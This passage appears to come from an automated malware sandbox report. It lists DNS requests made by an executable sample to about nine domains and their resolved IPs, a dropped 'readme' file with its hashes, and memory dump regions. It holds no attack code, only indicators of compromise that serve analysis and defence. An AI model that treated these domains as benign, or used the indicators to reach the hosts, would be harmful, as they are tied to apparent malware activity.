      edrcreditservices.nl

      DNS Response

      37.97.202.196

    • 8.8.8.8:53
      amylendscrestview.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      67 B
       99 B
       1
      1

      DNS Request

      amylendscrestview.com

      DNS Response

      15.197.142.173
      3.33.152.147

    • 8.8.8.8:53
      coffreo.biz
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      57 B
       105 B
       1
      1

      DNS Request

      coffreo.biz

      DNS Response

      172.67.24.65
      104.22.67.164
      104.22.66.164

    • 8.8.8.8:53
      actecfoundation.org
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      65 B
       81 B
       1
      1

      DNS Request

      actecfoundation.org

      DNS Response

      192.124.249.62

    • 8.8.8.8:53
      carrybrands.nl
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      60 B
       76 B
       1
      1

      DNS Request

      carrybrands.nl

      DNS Response

      45.82.191.77

    • 8.8.8.8:53
      ra-staudte.de
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      59 B
       75 B
       1
      1

      DNS Request

      ra-staudte.de

      DNS Response

      92.205.52.101

    • 8.8.8.8:53
      bouncingbonanza.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      65 B
       81 B
       1
      1

      DNS Request

      bouncingbonanza.com

      DNS Response

      204.11.56.48

    • 8.8.8.8:53
      mank.de
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      53 B
       69 B
       1
      1

      DNS Request

      mank.de

      DNS Response

      176.52.247.15

    • 8.8.8.8:53
      atozdistribution.co.uk
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      68 B
       84 B
       1
      1

      DNS Request

      atozdistribution.co.uk

      DNS Response

      185.162.224.18

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\d5m7js-readme.txt
      Filesize

      6KB

      MD5

      251f4240d07da249386b0c4c0a09ebc1

      SHA1

      d320793a33b516721db513ff62240bfc5cd94c2f

      SHA256

      0f3f08f22d74b39c1bc7d03af5476cc45d1cd73ef9423ef5e0f951e5273eecb4

      SHA512

      364b9f8bf5b3f0b848d87c5c7c23a56c6507bd5a518e1297641ac861a947c111c8356ad1af8294ff764a5f56f87cd079f2e1c944bd83886a78395d602939388f

      Download Submit

    • memory/2188-4-0x0000000000390000-0x00000000003AF000-memory.dmp

      Filesize

      124KB

      Download

    • memory/2188-1-0x0000000001FB0000-0x0000000002079000-memory.dmp

      Filesize

      804KB

      Download

    • memory/2188-3-0x0000000002270000-0x000000000239D000-memory.dmp

      Filesize

      1.2MB

      Download

    • memory/2188-6-0x00000000001E0000-0x00000000001E6000-memory.dmp

      Filesize

      24KB

      Download

    • memory/2188-5-0x0000000002610000-0x0000000002719000-memory.dmp

      Filesize

      1.0MB

      Download

    • memory/2188-7-0x0000000000080000-0x0000000000081000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2188-10-0x00000000001E0000-0x00000000001E6000-memory.dmp

      Filesize

      24KB

      Download

    • memory/2188-9-0x0000000000120000-0x0000000000121000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2188-8-0x0000000000090000-0x0000000000091000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2188-506-0x0000000000120000-0x0000000000121000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2188-2-0x0000000002080000-0x000000000211F000-memory.dmp

      Filesize

      636KB

      Download

    • memory/2188-11-0x00000000001E0000-0x00000000001E6000-memory.dmp

      Filesize

      24KB

      Download

    • memory/2188-0-0x0000000000070000-0x000000000007A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/2644-17-0x000007FEF5E6E000-0x000007FEF5E6F000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2644-20-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/2644-21-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/2644-22-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/2644-23-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/2644-24-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/2644-25-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/2644-18-0x000000001B5A0000-0x000000001B882000-memory.dmp

      Filesize

      2.9MB

      Download

    • memory/2644-19-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

      Filesize

      32KB

      Download

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.